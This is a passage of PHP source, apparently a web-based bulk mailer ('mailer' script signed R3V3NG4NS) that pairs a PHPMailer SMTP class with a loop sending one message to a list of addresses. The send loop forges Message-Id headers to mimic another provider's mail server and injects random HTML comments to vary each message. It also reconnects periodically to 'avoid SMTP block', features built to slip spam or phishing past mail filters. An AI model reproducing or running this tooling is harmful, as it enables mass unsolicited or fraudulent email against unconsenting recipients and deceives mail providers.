  3668.             echo "SMTP -> NOTICE: " . $this->error["error"] . $this->CRLF;
  3669.         }
  3670.         return false;
  3671.     }
  3672.  
  3673.     /**
  3674.      * Verifies that the name is recognized by the server.
  3675.      * Returns false if the name could not be verified otherwise
  3676.      * the response from the server is returned.
  3677.      *
  3678.      * Implements rfc 821: VRFY <SP> <string> <CRLF>
  3679.      *
  3680.      * SMTP CODE SUCCESS: 250,251
  3681.      * SMTP CODE FAILURE: 550,551,553
  3682.      * SMTP CODE ERROR  : 500,501,502,421
  3683.      * @access public
  3684.      * @return int
  3685.      */
  3686.     function Verify($name) {
  3687.         $this->error = null; # so no confusion is caused
  3688.  
  3689.         if(!$this->connected()) {
  3690.             $this->error = array(
  3691.                     "error" => "Called Verify() without being connected");
  3692.             return false;
  3693.         }
  3694.  
  3695.         fputs($this->smtp_conn,"VRFY " . $name . $this->CRLF);
  3696.  
  3697.         $rply = $this->get_lines();
  3698.         $code = substr($rply,0,3);
  3699.  
  3700.         if($this->do_debug >= 2) {
  3701.             echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  3702.         }
  3703.  
  3704.         if($code != 250 && $code != 251) {
  3705.             $this->error =
  3706.                 array("error" => "VRFY failed on name '$name'",
  3707.                       "smtp_code" => $code,
  3708.                       "smtp_msg" => substr($rply,4));
  3709.             if($this->do_debug >= 1) {
  3710.                 echo "SMTP -> ERROR: " . $this->error["error"] .
  3711.                          ": " . $rply . $this->CRLF;
  3712.             }
  3713.             return false;
  3714.         }
  3715.         return $rply;
  3716.     }
  3717.  
  3718.     /*******************************************************************
  3719.      *                       INTERNAL FUNCTIONS                       *
  3720.      ******************************************************************/
  3721.  
  3722.     /**
  3723.      * Read in as many lines as possible
  3724.      * either before eof or socket timeout occurs on the operation.
  3725.      * With SMTP we can tell if we have more lines to read if the
  3726.      * 4th character is '-' symbol. If it is a space then we don't
  3727.      * need to read anything else.
  3728.      * @access private
  3729.      * @return string
  3730.      */
  3731.     function get_lines() {
  3732.         $data = "";
  3733.         while($str = fgets($this->smtp_conn,515)) {
  3734.             if($this->do_debug >= 4) {
  3735.                 echo "SMTP -> get_lines(): \$data was \"$data\"" .
  3736.                          $this->CRLF;
  3737.                 echo "SMTP -> get_lines(): \$str is \"$str\"" .
  3738.                          $this->CRLF;
  3739.             }
  3740.             $data .= $str;
  3741.             if($this->do_debug >= 4) {
  3742.                 echo "SMTP -> get_lines(): \$data is \"$data\"" . $this->CRLF;
  3743.             }
  3744.             # if the 4th character is a space then we are done reading
  3745.            # so just break the loop
  3746.            if(substr($str,3,1) == " ") { break; }
  3747.         }
  3748.         if( $this->do_debug >= 0 )
  3749.         {
  3750.             DebugData("raw", $data );
  3751.         }
  3752.         return $this->smtp_buffer = $data;
  3753.     }
  3754.  
  3755. }
  3756.  
  3757. // Well send form, start sending
  3758. if( $vForm->isValid() && $vForm->isSubmited() )
  3759. {
  3760.    
  3761.     echo "<div id=\"autoScrollBox\">\r\n";
  3762.     echo "<div class=\"autoScrollSwitcher\">AutoScroll Switcher</div>\r\n";
  3763.     echo "<div align=\"center\"><input class=\"autoScrollSwitcher\" type=\"button\" name=\"autoScrollSwitcher\" id=\"autoScrollSwitcher\" value=\"" . ( $autoscrollPage ? "Disable" : "Enable" ) . " AutoScroll\" onclick=\"switchAutoScroll();\" /></div>\r\n";
  3764.     echo "</div>\r\n";
  3765.    
  3766.     echo "<h2 class='h2green'>Building email...</h2>";
  3767.    
  3768.     $mail = new PHPMailer();
  3769.     $mail->Mailer = $basicMethod;
  3770.    
  3771.     // SMTP Config
  3772.  
  3773.     if( $mail->Mailer == "smtp" )
  3774.     {
  3775.         $mail->Host     = $SMTPServer;
  3776.         $mail->Sender   = $SMTPUsername;
  3777.         $mail->Username = $SMTPUsername;
  3778.         $mail->Password = $SMTPPassword;
  3779.         $mail->SMTPAuth = $SMTPAuth;
  3780.        
  3781.         $mail->SMTPKeepAlive = true;
  3782.         $mail->SMTPDebug = _SMTP_DEBUG_LVL_ - 1;
  3783.     }
  3784.    
  3785.     $mail->From     = $fromEmail;
  3786.     $mail->FromName = $fromName;
  3787.     $mail->Subject  = $subject;
  3788.     $mail->AddReplyTo($fromEmail, $fromName);
  3789.     $mail->AddCustomHeader("X-MSMail-Priority: Normal");
  3790.  
  3791.     $mail->Body    = $emailMessage;
  3792.    
  3793.     if( $multipartMail )
  3794.     {
  3795.         $mail->AltBody = strip_tags($emailMessage);
  3796.         $mail->AltBody = preg_replace("/[ ]{2,}/", " ", $mail->AltBody);
  3797.         $mail->AltBody = preg_replace("/([\r\n]+){2,}/", "\r\n", $mail->AltBody);
  3798.        
  3799.         // Random string to change message id
  3800.         if( $addRandomString )
  3801.         {
  3802.             $mail->Body = str_replace(array('<html>', '<head>','<body'), array('<html><!--%%-->', '<head><!--%%-->', '<!--%%--><body'), $mail->Body);
  3803.        
  3804.         }
  3805.     }
  3806.     else
  3807.     {
  3808.         // determines wheter the text is or not html
  3809.         if( eregi('(<[x]?html|<body|<table|<div)', $mail->Body) )
  3810.         {
  3811.             $mail->IsHTML(true);
  3812.            
  3813.             // Random string to change message id
  3814.             if( $addRandomString )
  3815.             {
  3816.                 $mail->Body = str_replace(array('<html>', '<head>','<body'), array('<html><!--%%-->', '<head><!--%%-->', '<!--%%--><body'), $mail->Body);
  3817.             }
  3818.         }
  3819.         else
  3820.         {
  3821.             $mail->IsHTML(false);
  3822.         }
  3823.     }
  3824.    
  3825.     // starting email
  3826.     if( $listStartingEmail > 1 )
  3827.     {
  3828.         $emailList = array_slice($emailList, $listStartingEmail-1);
  3829.     }
  3830.    
  3831.     // removing duplicated entries
  3832.     $emailList = array_unique($emailList);
  3833.    
  3834.     // cout number of emails
  3835.     $reportTotal = count( $emailList );
  3836.  
  3837.     // elapsed time
  3838.     $starttime = explode(" ",microtime());
  3839.     $starttime = $starttime[1] + $starttime[0];
  3840.    
  3841.     // Shows Email Information
  3842.     echo "<pre>";
  3843.     echo "<b>Method:</b> " . strtoupper($mail->Mailer) . "\r\n";
  3844.     echo "<b>Multipart:</b> " . ( $multipartMail ? "Yes" : "No" ) . "\r\n";
  3845.     echo "<b>Total to send:</b> {$reportTotal} (removed duplicated and starting on #{$listStartingEmail} email)\r\n";
  3846.     echo "<b>From:</b> {$mail->FromName} &lt;{$mail->From}&gt;\r\n";
  3847.     //echo "<b>Reply-To:</b> {$mail->ReplyTo}\r\n";
  3848.     echo "<b>Subject:</b> {$mail->Subject}\r\n";
  3849.     echo "</pre>";
  3850.    
  3851.     echo "<h2 class='h2green'>hna kan sendiw  emails...</h2>\r\n";
  3852.    
  3853.     $mail->backup = $mail->Body;
  3854.     foreach( $emailList as $k => $curEmail )
  3855.     {
  3856.        
  3857.        
  3858.         $mail->ClearAddresses();
  3859.         $hagolo = explode(';', $curEmail);
  3860.         $curEmail=$hagolo[0];
  3861.         $mail->Body = str_replace("%name%",$hagolo[1],$mail->Body);
  3862.         $mail->Body = str_replace("%mail%",$hagolo[0],$mail->Body);
  3863.         $mail->AddAddress($curEmail);
  3864.        
  3865.         $mail->AddCustomHeader("Message-Id: <rg" . md5($curEmail . rand() ) . ".JavaMail@kundenserver.de>");
  3866.         //$mail->AddCustomHeader("X-MimeOLE: Produced By Microsoft MimeOLE V6.10.2800.1409.". rand() . ".rg.sm31");
  3867.         $mail->Body = preg_replace("/<!--([%0-9]+)-->/","<!--" . $k . rand() . "-->", $mail->Body);
  3868.        
  3869.         $k++;
  3870.         $reportPercent = round(($k * 100)/$reportTotal, 2);
  3871.        
  3872.         echo "<div class=\"report\">{$k}) Sending to <b>" . htmlentities($curEmail)  . " NAMED : -> ".$hagolo[1]."<- </b>...";
  3873.         echo autoScrollString($curEmail, $k, $reportPercent);
  3874.        
  3875.         if( $mail->Send() )
  3876.         {
  3877.            
  3878.             // reset send errors
  3879.             $mail->SmtpSetSendError(0);
  3880.             $mail->Body = $mail->backup;
  3881.             $reportOk++;
  3882.             echo "<span class=\"reportOk\">OK!</span> ({$reportPercent}% complete | OK:{$reportOk} | Machakil :{$reportErr})</div>\r\n";
  3883.         }
  3884.         else
  3885.         {
  3886.            
  3887.             $reportErr++;
  3888.             echo "<span class=\"reportErr\">ERROR!</span> ({$reportPercent}% complete | OK:{$reportOk} | Machakil:{$reportErr})</div>\r\n";
  3889.             $mail->Body = $mail->backup;
  3890.             if( ($mail->Mailer == "smtp") && ($mail->SMTPAuth == true && substr($mail->SmtpGetError(),0,4) == 'auth') )
  3891.             {
  3892.                 echo "<div class=\"reportErr\">Authentication Error, giving it up.</div>\r\n";
  3893.                 $reportErr = $reportTotal - $reportOk;
  3894.                 break;
  3895.             }
  3896.            
  3897.             if( ($mail->Mailer == "smtp") && ($mail->SmtpGetSendError() > _SMTP_MAX_ERRORS_) )
  3898.             {
  3899.                 echo "<div class=\"reportErr\">Number of followed-errors reached the limit (" . _SMTP_MAX_ERRORS_ . "), on the email #{$k}. Giving it up. </div>\r\n";
  3900.                 $reportErr = $reportTotal - $reportOk;
  3901.                 break;
  3902.             }
  3903.         }
  3904.  
  3905.        
  3906.         if( ( $mail->Mailer == "smtp" ) && ( _SMTP_RECONNECT_AFTER_ > 0 ) && ( ($k % $SMTPReconnectAfter ) == 0 ) )
  3907.         {
  3908.             echo "<div class=\"reportOk\"><b>Reconnecting to avoid SMTP block (by configuration -- reconnect after " . _SMTP_RECONNECT_AFTER_  . " emails)</b></div>\r\n";
  3909.             $mail->SmtpClose();
  3910.         }
  3911.        
  3912.         // DEMO
  3913.         /*if( $k >= 50 )
  3914.         {
  3915.             echo "<div class=\"reportErr\">DEMO VERSION limited to 50 emails. Contact GMR to buy the full version.</div>\r\n";
  3916.             break;
  3917.         }*/
  3918.         $mail->Body = $mail->backup;
  3919.     }
  3920.    
  3921.     // End SMTP
  3922.     if( $mail->Mailer == "smtp" && $mail->SMTPKeepAlive )
  3923.     {
  3924.         $mail->SmtpClose();
  3925.     }
  3926.    
  3927.     // End microtimer
  3928.     $endtime = explode(" ", microtime());
  3929.     $endtime = $endtime[1] + $endtime[0];
  3930.     $totaltime = round(($endtime - $starttime), 3); // faz-se a diferenca
  3931.    
  3932.     echo "<b><br /><br />\r\n";
  3933.     echo "<h2 class='h2green'>Safi salina !</h2>\r\n";
  3934.     echo "<div>{$reportTotal} emails in total</div>\r\n";
  3935.     echo "<div class=\"reportOk\">{$reportOk} sent Howa hadak (" . round(($reportOk * 100)/$reportTotal, 2) . "%)</div>\r\n";
  3936.     echo "<div class=\"reportErr\">{$reportErr} not sent  chi takwisa hadi (" . round(($reportErr * 100)/$reportTotal, 2) . "%)</div>\r\n";
  3937.     echo "<div>{$totaltime} seconds elapsed</div></b>\r\n";
  3938.     echo autoScrollString();
  3939.    
  3940.     if(  $mail->Mailer == "smtp" && _SMTP_DEBUG_LVL_ > 0 )
  3941.     {
  3942.         echo "<pre>";
  3943.         echo "<b>Debug Data:</b>\r\n";
  3944.         echo DebugData();
  3945.         echo "</pre>";
  3946.     }
  3947.    
  3948.     /*echo "<pre>";
  3949.     print_r( $mail );
  3950.     echo "</pre>";*/
  3951.     unset( $mail );
  3952. }
  3953.  
  3954. ####!DELIMITER!####
  3955.  
  3956.  
  3957. /* BUILT BY R3V3NG4NS <RAWACHRAF at gmail dot com> 1f81fda9d1c4b76fc3bde395b98cfb21-1181759341-vafrp */
  3958.  
  3959. }
  3960. ?>
Add Comment
Please, Sign In to add comment